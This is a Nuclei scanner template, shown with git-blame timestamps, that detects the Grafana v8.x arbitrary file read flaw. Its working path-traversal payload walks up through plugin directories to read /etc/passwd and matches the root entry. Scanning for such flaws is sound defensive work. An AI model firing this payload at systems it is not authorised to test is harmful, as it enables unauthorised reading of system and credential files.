2021-12-07 10:12:59 +00:00
|
|
|
id: grafana-file-read
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Grafana v8.x Arbitrary File Read
|
2021-12-11 05:37:55 +00:00
|
|
|
author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0
|
2021-12-07 10:12:59 +00:00
|
|
|
severity: high
|
|
|
|
reference:
|
|
|
|
- https://nosec.org/home/detail/4914.html
|
|
|
|
- https://github.com/jas502n/Grafana-VulnTips
|
2021-12-08 11:16:47 +00:00
|
|
|
- hhttps://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
|
2021-12-07 10:12:59 +00:00
|
|
|
- https://twitter.com/naglinagli/status/1468155313182416899
|
2021-12-08 11:16:47 +00:00
|
|
|
tags: grafana,lfi,fuzz
|
2021-12-07 10:12:59 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-12-11 05:37:55 +00:00
|
|
|
- "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
|
2021-12-07 10:12:59 +00:00
|
|
|
|
|
|
|
payloads:
|
2021-12-11 05:37:55 +00:00
|
|
|
pluginSlug: helpers/wordlists/grafana-plugins.txt
|
2021-12-07 10:12:59 +00:00
|
|
|
|
2021-12-11 05:37:55 +00:00
|
|
|
threads: 50
|
2021-12-07 10:12:59 +00:00
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-12-07 10:12:59 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|